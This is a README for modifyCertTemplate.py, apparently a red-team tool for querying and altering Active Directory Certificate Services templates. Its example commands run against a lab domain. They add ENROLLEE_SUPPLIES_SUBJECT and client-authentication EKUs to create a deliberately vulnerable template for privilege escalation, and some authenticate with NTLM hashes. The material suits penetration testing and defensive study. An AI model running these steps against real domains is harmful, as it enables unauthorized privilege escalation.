modifyCertTemplate tool is designed to aid an operator in modifying ADCS certificate templates so that a created vulnerable state can be leveraged for privilege escalation (and then reset the template to its previous state afterwards). This is specifically designed for a scenario where WriteProperty rights over a template have been compromised, but the operator is unsure which properties the right applies to. In this scenairo, the template’s ACL can be queried and the applicable ACE information can be cross-referenced with property GUIDs to determine the modifiable properties.

Usage

usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
Modify the attributes of an Active Directory certificate template
positional arguments:
target [[domain/]username[:password]
optional arguments:
-h, –help show this help message and exit
-template template name
Name of the target certificate template
-property property name
Name of the target template property
-value new value Value to set the specified template property to
-get-acl Print the certificate’s ACEs
-dn distinguished name
Explicitly set the distinguished name of the certificate template
-raw Output the raw certificate template attributes
-add flag name Add a flag to an attribute, maintaining the existing flags
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don’t ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ldaps Use LDAPS instead of LDAP

Examples

Querying a Template or Property Value

Query a certificate template (all attributes)

python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass

Query a single attribute from a certificate template

python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Query the raw values of all template attributes

python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass

Querying ACL Info

Query the ACL for a certificate template

python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass

Although unrelated to certificate templates, any object’s ACL can be queried by providing the object’s distinguished name

python3 modifyCertTemplate.py -dn “CN=ws1,CN=computers,DC=ez,DC=lab” -get-acl ez.lab/administrator:pass

Modifying a Template

Add the ENROLLEE_SUPPLIES_SUBJECT flag to the template’s msPKI-Certificate-Name-Flag property

python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass

Update the value of a certificate template attribute (non-list properties)

python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass

Add an EKU to the pKIExtendedKeyUsage property

python3 modifyCertTemplate.py -template KerberosAuthentication -add “client authentication” -property pKIExtendedKeyUsage ez.lab/administrator:pass

Update the value of a list-formatted attribute (i.e. explicitly set the value of pKIExtendedKeyUsage)

python3 modifyCertTemplate.py -template KerberosAuthentication -value “‘1.3.6.1.5.5.7.3.4’, ‘1.3.6.1.5.5.7.3.2’” -property pKIExtendedKeyUsage ez.lab/administrator:pass